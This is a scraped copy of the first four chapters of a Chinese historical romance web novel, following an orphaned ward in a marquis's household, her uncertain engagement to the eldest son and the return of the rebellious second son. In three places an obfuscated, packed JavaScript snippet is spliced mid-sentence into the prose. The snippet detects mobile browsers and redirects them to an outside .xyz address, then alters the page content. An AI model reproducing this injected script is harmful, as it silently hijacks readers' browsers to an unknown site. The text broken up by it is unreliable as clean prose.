《妄折她Ⅱ》 1. 回京 秋白婳在清远侯府里有座独立的院子，虽非侯夫人亲生，但自小养在膝下，对外与侯府千金无异。 “姑娘，柳姨娘就坐在前厅里。晌午她来时没见着您，看这样子轻易不会走。” 海棠对柳姨娘的做派相当不耻，没忍住多说了两句：“肯定就是来请您去帮着说情的，她儿子做出这种事，侯爷发了那么大的火，明摆着这会儿谁去都要触霉头，她倒是鸡贼自己藏着，叫您去出这个头，想得美。” 白婳嗓音淡淡：“她的儿子再不多加管束，祸事不止这一桩。” 海棠点头，“那姑娘见吗？” “见。”白婳起身，面无表情往前厅去。 柳姨娘是余杭人，无论是样貌还是身段都有着江南女子独到的娇媚韵味。 她满面愁容，穿了件丁香紫的褙子，衬得人楚楚可怜，第一时间迎了过来：“白婳，这次你可要帮帮姨娘，只有你能帮我了。” 言罢还抹了抹眼泪，紧握着白婳的手：“侯爷这次是真的生气了，可也不该下这么重的手！那一脚踢下去，老三一个读书人怎么受得了……他现在还在祠堂跪着，你说这眼看着都深秋了，祠堂夜里又阴又冷，真要跪出个什么好歹来可怎么是好！” “好孩子，你去帮姨娘说个情，侯爷和侯夫人都疼你，只有你能说得上话，好歹先让送口饭吃也成。大恩大德，姨娘一定没齿难忘。” 柳姨娘看起来是真的着急，手心里全是汗，白婳将手抽了回来。 才道：“三公子成日里厮混烟花柳巷，与秦楼楚馆的女子纠缠不清，欠下酒债被人登门讨要，给侯府蒙羞，还毫无悔意，口无遮拦辱骂兄长。” 柳姨娘脸色变得难看，她没想到白婳会说得这么直白。 “那是话赶话，他心里尊敬大哥还来不及……”柳姨娘只能陪笑，“他挨了侯爷那一脚，也是受到教训了，回来我一定好好管束他，叫他给老大登门致歉。” 白婳的神情没有任何变化，淡道：“侯爷不过罚他跪抄十遍祖训，相较他惹出的祸端已是宽宥，但三公子到这个时辰了还没抄完，就是因为姨娘往日太过纵容，次次护着，高高扬起轻轻落下。” “你、”柳姨娘没想到这丫头不帮忙竟还要反过来数落她的不是，一双柳眉都要竖起。 “此时尚未酿成大错，受些敲打有益无害，姨娘再要偏袒，反倒是害了他。” 柳姨娘气冲冲出了院子。 “什么东西！没爹没娘的玩意说话也没个教养！我呸。” 她本就窝火，此刻更是有气没处撒。 “姨娘低声些，仔细被人听了去。”身边的心腹平妈妈小心瞧了眼周围，还好四下无人。 那秋白婳的父母，乃是当年清远侯明忠海身边最得力的两名副将，后来为救主帅性命双双战死沙场的时候，秋白婳才八岁。 骂她什么都好，就是不能扯上那亡故的双亲，否则传到侯爷耳朵里，可是捅了天去。 “我骂她怎么了，你又不是没看见她刚刚那副趾高气扬的嘴脸！”柳姨娘声音还是眼见小了。 但仍然心气不顺，“这还没管家呢，就开始拿乔不把我当回事了，真要叫她嫁了老大，以后跟她婆婆一个鼻孔出气，还不骑到我脸上来？” 平妈妈也没办法：“那白婳姑娘和大公子的婚约是娃娃时候就定下的，她早就跟侯夫人站一边了。” “走着瞧，她想嫁老大，没这么容易。” 柳姨娘冷哼着回头瞧着葳蕤院。 “那混账老二就快回了，我倒要看看，她这桩婚事，到时候是谁给明府抹黑。” 秋雨过后天气一日日凉了下去。 次日晌午，白婳去了侯夫人那用午饭。 桌上的菜式已经换成了些暖胃的热汤热煲，还有云梦进贡来的莲藕炖汤，满屋子都是香气。 “尝尝看味道如何，你最爱喝莲藕汤的，这是今年刚送来的新藕。”侯夫人给她盛了碗汤。 “好喝，谢谢母亲。” 侯夫人戚氏此前和秋夫人是闺中密友，打心眼里心疼白婳，为了不叫小姑娘觉着自己在侯府寄人篱下，就说出嫁前当她是女儿，出嫁后是她儿媳，这声母亲怎么也担得，早早便叫改了口。 二人又闲话了几句那三公子和柳姨娘的事情，白婳便将昨日的情形与侯夫人说了。 “侯爷平时偏着他们娘儿俩，惯得不成名堂，这些年吃喝嫖赌哪样不沾，都是睁只眼闭只眼的，叫我说打死拖出去都不为过，不过罚跪而已，竟还有脸求饶。” 若不是这回运气不好撞上明忠海朝堂上受了窝囊气没处撒火，估摸着也闹不起来。 侯夫人觉得解气，又不够解气。 “侯爷膝下子嗣不多，若非是真犯下什么牵累阖族的祸事，侯爷不会真拿他怎么样。” 白婳捧着碗，瓷白衬着纤细手指，低声说着。 但真要牵连了阖族，谁都脱不了身，全家得一起帮他。 柳姨娘也深知这一点，捏着免死金牌，平日里自当肆无忌惮。 侯夫人听她正好起了个头，清了清嗓子，这才转了话题： “是，侯爷膝下就这么三个儿子。说起来，老二去昆山书院读书眨个眼也有三年，恰逢陛下开了恩科，我跟侯爷想着，也差不多是时候让他回家来了。珍珠，你怎么看？” 这事秋白婳几日前就已经听到点风声了。 二公子在昆山书院里惊才绝艳，一举拿下院试榜首，该回京赶考了。 此番回京，应当是就会留下，不再离开了。 原本二公子的事情轮不到问她一个客居小姐意见，只不过当年二人之间到底曾闹出过一些不太光彩的过往。 那时候明府开设书学，请的是宫里的庄学究来开堂讲学，京中所有跟明府交好的贵胄，基本都想来沾沾光。 明府的两位嫡子性情天壤之别，大公子温文尔雅风度翩翩，即便是后来意外摔了腿落了残疾，性情有变，也只是寡言少语些罢了。 但那位二公子就不同了。 满身反骨，言辞锋利，行事出格，不成体统。 分明是一母同胞，兄弟两个像是站在了两个极端上。 从白婳进府开始，那没个正形的二公子就喜欢调侃欺负她，后来书学时候更甚，成日里眼睛别的不看，长在她身上似的，就盯着她一人作弄。 那时候同窗的燕世子，是个咋咋呼呼的人来疯，也不知哪只眼睛看出来二公子对白婳有意，到处嚷嚷，以讹传讹，推波助澜。 二公子那呛天怼地的性子，竟也由着他造谣。 传着传着，传进了家中长辈的耳朵里。 明忠海劈头盖脸把人骂了一顿，呵斥他要敬重白婳，那是他未来的大嫂。 不成想，激起了反作用，二公子从此一发不可收拾，对她的纠缠愈发高调。 甚至后来上元灯会，竟是丧心病狂将人从半道上截走，硬要她给个说法，到底接不接受他的心意。 那时候白婳才十三岁，吓得跳船游回岸边，吃了冷风，大病一场。 明忠海罚他跪了三天祠堂，棍子都打断了两根，二公子满头冷汗还是拒不认错。 后来身子终于吃不消晕死过去，侯夫人才终于找着机会哭天喊地将儿子捞回了院里。 结果他高烧醒来，刚喂了口水，第一句问的就是：“她烧退了吗？” 侯夫人如鲠在喉，不知该怎么骂：“你要气死我……” 那日灯会，岸边有官眷也有百姓，那事闹得沸沸扬扬，家喻户晓明二公子小小年纪就纨绔成性行事出格，流言蜚语快将明府给淹了。 为了脊梁骨不被戳断，也为了断一断他们闹的这荒唐事，明忠海当即将二公子送去了千里之外的昆山书院读书。 这一走，就是三年。 回忆起当年的往事，白婳也没有停顿多久，只微微一笑：“母亲拿主意就好，我没有意见。” 侯夫人一直端量着她的神情，听她这么说，吊着的一颗心终于松了口气，感激她的懂事： “你且放心，我每年都去书院看他，老二这些年很有长进，已经跟当初判若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694667|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人了，不会再干些混账事。他要是再敢有一点欺负你，我第一个扒了他的皮！” 这些年侯夫人忍受母子分离苦楚，也不曾迁怒半分，这是她的疼爱。 白婳知道感激，同时也心疼侯夫人。 明忠海得心思偏在了柳姨娘院里；大儿子受伤后就变得不爱走动，一年到头除了逢年过节见不上几面，小儿子又不在身边。 心里怎能不惦念。 白婳安慰她：“其实当年的事也不全是二公子的本意，怪只怪流言撺掇，激起了逆反心。” “就是！老二从小就是一身反骨，不让他干什么偏要干！”侯夫人连连点头，“你能这么想，娘放心多了，你们都是我的至亲，手心手背的，千万别有隔阂。” 白婳笑笑，没再接话。 这厢事情说定了，二人用完了饭，丫鬟端上些初秋新进的蜜桔。 白婳剥了一个递过去。 侯夫人接过来，想了想若有所思问：“我方才有个主意。若是将你和老大的亲事衬着老二回来之前先定下来，也不用太急着大婚，就正式下个聘，算是提上日程，你看如何？” 她虽嘴上那么说，但明家老二那混不吝的性子，侯夫人到底还是想更保险些。 好不容易才接回来的儿子，经不起折腾。 只是此言一出，侯夫人瞧见白婳一直安静的眸子微微闪烁了下。 “可是近日老大惹你不开心了？”侯夫人倒是不担心白婳变心云云，二人打小是青梅竹马的长大，相互之间的情分，这些年侯府上下都看在眼中。 即便是后来大公子摔了腿，对所有人都冷淡疏远，白婳也仍然占据他身边的特殊地位。 “没有，都好。”白婳重新淡笑起来，“方才一时间没有准备，是高兴，叫母亲见笑了。” 侯夫人看了她一会，也没揭穿，只拍了拍她的手，“那就好。有什么事情跟母亲说，别憋在心里。” 黄昏前，白婳让丫鬟单独又盛了碗莲藕排骨汤装在食盒里，带去了清霜院。 进门前，她望着书房的大门定定站了一会，才敲门进去。 “在门口就闻着香了，给我带了什么好吃的？” 明疏的嗓音和他的人一样温文尔雅。 他穿了件月白色的袍子，将眉眼间的冰霜也衬托化开几分，还能分辨出些淡淡的笑意。 也就是白婳来，大公子才能稍有些从前的样子。 “母亲那里熬的莲藕汤。”白婳给他盛了碗，一边瞧见了桌上的那幅画，刚提完字，墨还没干。 那是她的画，一副水墨的招摇山。 白婳于丹青上的造诣颇高，兴之所致不时会描上几副。 这副招摇山，便是她前几日送来的，央着明疏给她题字。 “写好了，一会正好带回去，看看满不满意。”汤勺轻轻搅动，此时的温度正好入口。 白婳夸了句好。 然后便是久久的没再开口。 她来时已酝酿好说辞，但此刻对着明疏，仍然有些紧张。 就好像小时候在学堂，考试将要放榜的那种忐忑。 大公子的腿摔伤之前，白婳几乎是他的跟屁虫，碰上了就是形影不离，明疏也愿意宠着她，事事以她为先。 后来横遭变故，性情变得内敛稳重，对白婳的偏宠仍在。 但只有白婳自己知道，这其中的变化在何处。 那是一种很微妙的疏远，点到即止，亲近，却不亲密。 “有话同我说？”明疏温和看她。 “大哥哥，这些年甚少唤我小字。”白婳开口，竟有些撒娇的意味。 秋白婳生了副好皮囊，但与那柳姨娘的娇媚不同，她脊背直挺，气度从容典雅。 小小年纪，能窥出似竹似兰的风华。 这句话从她口中说出来，耳根都在泛红。 明疏淡笑：“越长越孩子心性，及笄之后，女儿家的小字，可是能随意轻唤的。” 白婳感觉到一些失落。 有点空落落的。 2. 明肆 总有些蛛丝马迹在告诉她，他们之间的变化，是各自在往不同的两条路上行进。 虽然亲近，但他把自己摆在了大哥的位置上。 明疏搅动着藕汤，半晌无话，安静尝了口。 错过了最佳入口的时机，有些微凉了。 白婳不说话，他先破冰：“我听阿吉说，三弟昨儿个招惹了外债上门，父亲发了好大的火，你也在场？” “在。” “跟三弟吵嘴了？” 白婳眼睛飘忽回避。 “……只就事实争辩了几句。” 明疏放下那碗汤，“我这三弟心胸狭隘。” “我不怕他。” 他语重心长道：“你素来稳重，没必要与他口舌之争，他说自任他说去吧，何须平白扯上自己，日后三弟若闯祸，也是父亲与姨娘善后。” 白婳知道大公子是关心她，但心头还像堵了一团棉花。 她说：“旁的也就罢了，他出言不敬妄议兄长，故意说在我面前，我不能当作没听到。” 明疏微不可察叹了一息，但白婳还是听见了。 她端坐着，眉眼微微垂下，叠在一起的拇指轻轻摩挲着掌心，气氛没由来变得有些拧巴。 窗外的翠竹上飞了只鸟，竹叶沙沙，衬得屋里越发安静。 虽然不过初秋，然明疏畏寒，腿上搭了条薄毯，搁在上面的手腕有些苍白文弱，好像只有一层薄薄的皮，稍微一动，牵扯的筋骨显形。 他盯着那有些瘦脱相的手腕。如果不是因为明晏骂了他，白婳不会轻易被激起情绪。 “白婳。” 明疏的声音显得平静。 白婳心中潜藏的那根弦忽然被拉紧，她好像预感到大公子接下来要说的话是什么。 “汤都凉了吧，我喊阿吉来送给厨房热一热，快入秋了，还是吃些暖和的。”她假装没听出来，若无其事唤来了阿吉，“顺便再叫小厨房给公子炸一份油饼来，他就爱这么吃。” 吩咐完这些白婳重新坐回来，但不敢与明疏对视，害怕看见一些让她无法接受的眼神。 “……”明疏将她的忐忑看在眼中，又不忍心再说。 他握紧掌心又再松开，“若三弟寻衅，避着他些，来找我，或是找母亲帮你解决。” 白婳揪着的一颗心终于轻轻放了下来，莞尔道：“好。” 原本她过来是想试探一番明疏对提亲的看法，现下也是没机会再问出口了。 第二日，白婳又再去了趟侯夫人那。 简单寒暄一番后，白婳才说明了来意：“……母亲，下聘的事情，我想了想，还是先不着急。” 昨日大公子那欲言又止的模样，在她心中盘旋了一整晚。 白婳不敢逼急了，怕适得其反。 侯夫人有些意外：“是老大的意思？我去问问他。” 她要起身，被白婳按住了，笑着说：“是我自己的意思，这么些年都等了，不急于一时，二公子回京在即，慌慌张张的也容易出错，一辈子的事情，我不想落下什么遗憾。再说我爹娘留下的产业如今都是容伯在帮我打理，许久没管了，若要收聘礼，我还要抽些空闲给他添位帮手才是。” 侯夫人思忖片刻道：“你说的也有理，确实仓促，是母亲思虑不周了。本来没事，若是刻意赶在老二回来之前匆忙将事情办了，反倒显得像有什么。” “母亲说的是。” 这厢劝下了侯夫人，从主宅里出来，白婳还有些神游，脑海里反复出现大公子未说出口的那句话。 当时她的第一反应竟是觉得，公子想悔婚。 尽管他忍住了，白婳还是觉得心口一阵阵难受。 初秋的第一片菊花已经开了，虽还未至最茂盛的时候，但园中也算是有了些颜色。 突兀的一声口哨传来，调子顿挫，略显轻浮。 白婳的注意力被拉回来，这才见路过的凉亭里，那位才挨了罚的三公子歪躺在里面，满脸挑衅看着她。 明晏在祠堂跪了一整日，才被柳姨娘在明忠海那又哭又闹的捞了出来。 据府医说那一脚踹得他胸闷气短，有可能伤到了肺腑，膝盖也跪得又青又肿，这两日走路都费劲。 但白婳看他的样子，是还没有受到教训。 这些年走了个二公子，明晏是把他二哥的纨绔名号给贯彻到极致，有过之而无不及。 更卑劣，也更狡猾。 “白婳，每次看见你，我都要感叹老大艳福不浅，只可惜，暴殄天物。” 明晏穿了件天青色的外袍，上绣卷云暗纹，脚踩一双雪白的鹿皮靴，应是膝盖没好，坐姿有些不自然。 他的五官随了柳姨娘，下巴尖细，颌骨线条柔美，吊着一边的眉梢，眼角一颗粉痣，不笑时候都显得含情脉脉。 一副好皮囊，里头塞了个酒囊饭袋。 白婳只看了一眼，不理会他的恶意挑衅。 她往前走，明晏却是不依：“白婳，三哥跟你说话呢，怎么不理人。” 他声音大，几个打扫的丫鬟视线看过来，以为是主人家起了什么争执。 白婳停下来，还没说话，明晏先笑了：“跟哥哥说说，老二回来，你心里慌不慌？” 隔得远，丫鬟们听不太清，接着扫地。 明晏的目光毒蛇一样爬过白婳的腰和腿，冒犯之意十足：“你害他狗一样被赶出家门三年多，我要是他，回来第一件事就把你压着办了，看你还怎么嫁老大。” 他嬉皮笑脸，看白婳的脸色刷的沉下去，明晏哈哈一笑。 但白婳的情绪很快就消失了。 不再看他，镇定冷淡道：“原以为三公子出了祠堂能有所收敛，不想还是未曾受到教训。” “就这样？”明晏睁大眼，故作恍然大悟，“就这么三言两语的，你那日府门外咄咄逼人的气势去哪啦？哦，我知道了，骂你可以，骂你的疏哥哥不行。他瘫了那么多年，心里不记恨你吗？要不是因为你，当时他也不会得罪到九殿下。” 白婳牙关咬碎，手脚阵阵发麻，仍是告诉自己，莫要与他较真，否则正中下怀。 明晏不是一次两次挑衅她了，从前甚至有过露骨调戏，白婳统统置之不理。 当初二公子被赶走，虽不是她的本意，但让侯夫人母子分离多年，她心中总是自责，便一再退让，想着多一事不如少一事。 再说若闹大了再让当年旧事重演，客居的小姐让府宅内这么一个两个的男人都围着她打转，恐怕流言也能将她给逼死。 而明晏就是吃死了这一点，觉得她是个好拿捏的软骨头，越发蹬鼻子上脸。 却不料那日宅门前，兔子竟也有咬人的时候。 害得他被老头子那一脚踹去了半条命。 白婳没再说话，只冷冷看着他。 明晏皱眉，很不喜欢这个眼神。就好像在说，来日方长。 她这深深一眼，似倾注了许多复杂的东西，而后全部收回，淡漠离去。 这次明晏没再拦她。 他望着那笔直离去的背影，冷哼：“死丫头，迟早叫你落我手上。” 昆山书院距离京城千里之遥，山高水远，陆路走上一月有余，还要换乘大船，走上个十余天的水路。 初秋的金风吹到船上，燕世子一上船就开始变得吵闹起来，要温酒要吃食，洋洋洒洒摆了一桌，一同上来的靖王笑他：“不知道的当你下酒楼来了。” 燕世子大咧咧坐下：“跟既舟这客气什么，吃他几盏子酒吃不穷。” 他叫的是明肆的表字。 明家那三位公子，都是一等一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694668|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好相貌，可谓各有千秋。 对比起明疏的温文尔雅和明晏的风流英俊，二公子明肆的身量与气度，是与父亲清远侯最为相似的，天庭饱满，气宇轩昂。 又继承了母亲戚氏标志漂亮的五官。 但他肤色比大公子深些，穿了身黑金绣服，腰间佩剑，便少了书卷气，乍一看，倒有几分像哪处的江湖侠士。 明肆面不改色，淡淡一眼，懒得搭理。 燕世子和靖王正好在庐陵督办盐税一事，知道他要路过，特意赶来搭伴一同回京。 三人虽许久未见，但也总有书信往来，相互间消息都不算闭塞，一个多时辰聊完了正事，燕世子面前那几碟子花生米下酒菜，也差不多见了底。 “我说，既舟，你走了三年多，此番回京，要见着你那两位红颜知己，你预备怎么处理？你可得安分点，当年那沸沸扬扬的，这一趟回来可不容易。” 酒足饭饱，燕世子就开始打量着要探探明肆的底。 明肆嘴角微微一动：“关你屁事。” 靖王一愣：“怎的既舟竟有心上人？怎么没听说过。” 靖王年纪大些，幼时一心钻研圣贤书，忙于课业，几乎从不打听那些不相干的传闻。 后来去了北地领兵，对京城的那些风言风语愈发的不关心，是以明肆那些荒唐过往他虽有所耳闻，但流言听着真假虚实的，并不值得深究。 他不甚了解，燕世子可是来了劲，几乎要从凳子上跳起来： “这殿下算是问对人了，本世子可是有幸亲眼目睹了全过程！” 明肆眼皮一跳，睇了他一眼，可惜燕世子没看着。 “你不知道，当年京城里美人二公子的名号叫得响当当，就因为有一次马球会上，那海宁郡主就远远瞧了他一眼，好家伙一见钟情，回去跟家里闹着非君不嫁。” “这……”靖王有些哭笑不得，无法将美人二字与明肆的长相联系起来。 燕世子解释：“哈哈，这是年纪到了身子骨长开了，他那时候才多大，五官漂亮，从前他也不这样天天奔丧似的一身黑，风流倜傥的，确实是京中不可多得的美男子，比本世子也是不遑多让了。但既舟打小就叛逆，不乐意被叫美人，后来再也没穿过锦白月白那种娘气颜色，还可劲儿造那身皮，硬给自己晒成了棵麦杆子。” 他绘声绘色接着又道：“后来那海宁王嫌丢人，给关了禁闭，但架不住郡主彪悍啊，翻墙跑了，买通小厮溜进明府里去要找二公子私奔，据说后来又被抓回去了，哈哈。” 靖王笑他夸大其词：“这算哪门子的红颜知己，我还当真有其事呢。你且说说，另一位又是哪家姑娘？” 燕世子高深莫测看他一眼，语气开始变得暧昧：“另一位那可就厉害喽。” 明肆蹙眉：“你那张嘴不想要了早点说，留着只会糟蹋粮食。” “急了急了你看！”燕世子激动起来，一副我就知道的表情，“明既舟啊明既舟，果然贼心不死！” 燕世子起身就往靖王身后躲，嘴里快速叭叭着：“另一位绝对分量重，那叫一个奋不顾身横刀夺爱为了她不惜跟家里反目，哎哟——明既舟你偷袭！” 他被暗器打了膝盖，摔了个结实，还没爬起身就被明肆揪着领子拉起来。 大声嚷嚷：“干什么！你灭口啊！” 明肆抓了桌上蘸豆干的辣椒面摔进酒盏中，居高临下睨着他。 “把你毒哑造福京城。” 闹完了一场，明肆郁燥难当，在船头吹了半晌冷风，还是无法熄下心底的无名火。 他相当的不爽。 扯了扯领口，仍觉束缚。 燕世子还在船舱里小声骂骂咧咧，具体絮叨了些什么，听不太清。 明肆烦得闭眼。 交友不慎。 3. 像珍珠 二公子回京的消息在明府传开，侯夫人兴高采烈张罗家宴，数着日子翘首以盼，只等儿子回来团聚。 白婳心中则是想着这接风的家宴，她要不要干脆称病躲过去。 虽然侯夫人总说二公子已有长进，但也难说。 他们二人本就没什么情谊可言，避过家宴，平日里在各自院中也很难聚头。不打照面是最稳妥的。 但会不会心思不加遮掩，做的太过明显。 掩耳盗铃，反倒像有什么。 正犹豫着，薛芳漪差人给她递了张帖子来。 白婳看完后高兴极了，正愁找不到借口，当即带着信去了趟侯夫人院里。 “……芳漪下了帖子来，说善柔长公主在青屏山庄设宴赏菊赛诗，长公主好丹青，我送给芳漪的那副青丘山叫长公主瞧见了，很是喜欢，想与我见上一面，又不好贸贸然直接下帖，便请芳漪从中牵个线。但时间上，和家里的撞上了。” 长公主的菊宴，正好便是二公子抵京那日。 青屏山庄是长公主的私产，离京城不远，但也有个小半日的路程，约莫是要住上一晚，第二日再回程的。 白婳说的略为惋惜，侯夫人心中明镜似的，还是允了： “长公主的夫家早年于我们家是有些恩情在的，难得你有造化，不好驳了公主好意，就去吧。自家人以后相聚的时日还多，一个屋檐下，不急这一时半刻的。” 这节骨眼上的，侯夫人也不想多生事端，他们的目的是一致的。 至于其他，反正来日方长。 白婳笑了：“多谢母亲。” 初八这日清晨，薛家的马车如约停在门口来接白婳。 薛家是世代清流的书香门第，祖上出了三位宰辅和无数御史台大夫，传到这一代，儿子倒是不少，但嫡庶加在一起，也就只得了薛芳漪这么一个女儿。 老爷子掌上明珠般捧着，她在薛家的地位，比几位兄长都高。 白婳今日穿了身鹅黄的对襟襦裙，晨起寒雾，搭了件薄薄的暖姜色披风，将她脸色衬的明净生辉。 她钻进马车，薛芳漪便眼前一亮：“你穿这身真好看，气色好，白里透红的。” 白婳笑了：“你次次都夸，都不知真心还是哄我高兴的。” “自是肺腑之言。”薛芳漪嗔她一眼。 白婳感叹：“你的帖子来的真是及时雨，我正愁呢。” 薛芳漪：“我一猜就是，那纨绔子回京，你肯定头疼；搬出长公主，侯夫人不会说你什么。” 二人在马车里闲话，时间便过得快，远远已经能瞧见青屏山庄的轮廓了。 白婳撩开车帘瞧了眼。 山道间的野菊零星开着，听闻善柔长公主偏好丹青墨宝，喜兰喜菊，搜罗了不少珍奇异种，请了能工巧匠悉心栽培。 那一山庄的花，比宫内御花园里的还要稀罕。 长公主此番设宴，邀请的宾客不少，山庄外停了许多马车，前头坠着各家官旗，都是京中数一数二的贵胄高门。 原本以长公主的身份，白婳一个客居小姐自然是够不上的，是薛芳漪帮她美言了不少。 庭院中菊花开得妖冶，有的半粉半黄颜色奇异，有的花头大朵竟能压过牡丹。 一眼过去，没几个品种是能叫得出名字的。 “……长公主，这位便是我那副青丘山的画师。”长公主与薛家交好，薛芳漪打小就见过她，引荐起来得心应手，周围还在说话的宾客见是薛家千金，也都自觉回避一旁了。 “竟如此年轻。”善柔长公主有些惊喜。 “那副图意境上乘，笔风也细腻别致，本宫原本以为是出自哪位名家大能之手。”长公主目光和善，忍不住多打量几眼，“人也长得好，怪不得芳漪如此夸赞。” 那副画画的好，长公主确实喜欢，但也远没有到想结交背后画师的程度，是薛芳漪为了帮白婳脱身，一力促成的。 白婳的回应礼数周到，不骄不躁，谢了薛芳漪和长公主抬爱。 长公主又再满意几分，频频点头。 跟主人家打过了招呼，薛芳漪便拉了白婳自去赏花。 午膳的宴席是重头，以各种菊花秋果入宴，曲水流觞，摆了好一大圈。 如此贵重的席面，白婳多少拘谨，碗碟浮过眼前，只偶尔动筷，反倒是薛芳漪替她夹了不少：“尝尝这个。” 到了下午，长公主便将宾客都请至了晚枫亭。 外头庭院宽敞，亭中挂着六副画，白婳的那副青丘山也在其中，另外几副则都是长公主珍藏的名家真迹。 白婳没想到长公主如此抬她脸面。 也不知她是真的喜欢惜才，还是在讨好薛芳漪。 薛家一门清贵，族学中教出的文官数不胜数，说一句桃李满天下也不为夸张。 以薛芳漪在家族中的受宠程度，谁家要能娶了她去，比普通公主都要光耀门楣。 而善柔长公主膝下嫡长子，听说恰好是到了议亲的年纪。 “也不知那位长子相貌生的如何，与芳漪是否般配。”白婳神游天外想着。 她瞧了眼天色，又想到，这个时辰，二公子应当是已经到侯府了。 虽说以后还会有各种年节宴，免不了要打交道，但能拖一时是一时。 这时候白婳的那副青丘山，已吸引了好几位官家小姐的青眼，在前头驻足称道。 长公主笑笑，乐意做个顺水人情，正欲招呼薛芳漪与白婳二人过去介绍，山庄管事毕恭毕敬引了几位贵客进来。 整个场中的贵女，随着长公主的视线一起看过去，白婳也是。 是三位年轻公子，各有各的气宇轩昂，其中着黑金锦服的那位，身材高大，轮廓英挺，最是打眼。 白婳一时大惊。 虽然阔别三年，虽然二公子长高了，晒黑了些也长结实了，但不难辨认轮廓。 只是他为何会在此处？是知晓她在这里，还是碰巧？ 薛芳漪显然也是一眼认出，拉住白婳的手：“他！”她压着声音，欲言又止。 他怎么还是这么死皮赖脸！ 白婳捏了捏她，示意稍安勿躁，看看再说。 靖王走在最前面，带着燕世子和明肆去给长公主见礼，又将二人一一介绍。 靖王抵京前就接了长公主宴请的帖子，燕世子自是不急着进城，吵嚷着要见识一番比御花园还好的牡丹菊，顺带调侃明二公子等不等得起多一日，要是归心似箭也可早点回去。 明肆一个眼神都没搭理他。 靖王笑着打圆场，那青屏山庄在他们回京的必经路上，人都到这了，哪有叫明肆独身进城的道理。 三人中他最年长，他开了口，二公子不会拒绝。 “……此番咱们三人一同回京，未提前知会，姑母莫怪。”靖王说的是赴宴带客，他的母妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694669|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是出自长公主夫家的小姐，亲上加亲，管事的不会拦他，但长辈跟前该有的礼数还是得周全。 “哪的话，自家人说这些，生分。”长公主嗔他一眼。 宾客们的注意力很快回到了赏画上。 白婳也松了口气，看样子不是冲她来的。 这么些年过去，指不定二公子在昆山早就重新有了意中人，或许是她杞人忧天太将自己当回事。白婳如是想着，这般是最好，一家人还能和和气气的。 然下一刻，她的心就重新揪了起来。 因为明肆的眼睛落到了她的画上。 那画前头还站了不知谁家的几位贵女，被明肆的气度吸引侧目，但听见方才靖王引荐时候说了明府二公子。 为首的细声道：“公子也喜欢这画？” 那女子不知是身份尊贵超过明府许多，还是听说过二公子混不吝的性子，自觉矜贵，拘着仪态，好像与他说话已是给了福分。 明肆淡淡一眼扫过去，“……你画的？” 女子一愣，面上有些挂不住。 能挂在长公主宴会上的名作，谁不是品评聊上几句意境工笔，是个正常人都不会开口第一句问‘你画的？’ 这是故意给人难堪。 明肆兴趣缺缺，好像在说，不是你画的搭什么话。 “嗨呀，既舟，好眼光。”燕世子的动静向来比谁都大，他并不精于丹青，不过看个热闹，再加上年纪轻，自然是看不懂那些老画家满纸的残荷、几笔风中飘零的竹竿的意境。 他这么一吆喝，周围宾客的眼睛就都看了过来。 “气势磅礴，大处恢弘至此，往小却又能细腻勾画，妙。”也不知看没看懂，他先夸了一通。 明肆没说话，但看起来倒像是颇为赞同。 长公主这才想起来方才是想引荐的，差点一个岔子打过去了。 “……这画难得，本宫也是近日才得。大家且猜猜，此画背后的丹青妙手，是何人物。”长公主卖了个关子，周遭宾客很是懂事，纷纷搭话猜测。 白婳隐隐有种不好的预感。 但她看了眼周围，最大的遮挡物便是那凉亭的柱子，没处可藏人。 明肆向来不听人卖关子，自己去看角落里的落款和印章。 然后微微一愣，盯了许久。 “……如此小小年纪便有此等造诣，侯夫人将白婳小姐将养得极好。”长公主前头铺垫完，朝薛芳漪和白婳看了眼。 这是示意她们上前来的意思。 白婳再去看明肆，就发现已经和二公子的视线对上了。 黑眸沉沉的，不温不热，看不出情绪，也看不出想法。 薛芳漪的脸色有些难看，但长公主还有这么多宾客还在，不好失了礼数。 白婳只能上前。 而明肆一直在端详着看她。 不止二公子变化大，这三年过去，白婳也出落得愈发亭亭玉立。 她骨相生得好，皮肤也白，鼻梁中间一处驼峰微微隆起，恰到好处，五官瞧着冷冷清清。 再加上身量高挑，瞧着细细长长却不纤弱。 这样的相貌，美得不张扬不艳丽，却又独树一帜。 像什么呢，拿花类比太俗。明肆想。 ——像珍珠。 淡雅、贵重，莹莹生辉。 回来的第一眼，他没打算这般盯着白婳看，但没管住眼睛。 4. 关心则乱 燕世子可不管那些，连拍几下明疏的胳膊，那眼睛发亮。 就像在说：“大水冲了龙王庙，这不我们白婳妹妹吗？” 但碍于还在长公主的宴会上，忍住了没大喊出声。 白婳微微低眉上前见礼，又道：“难登大雅之堂，长公主抬爱了。” 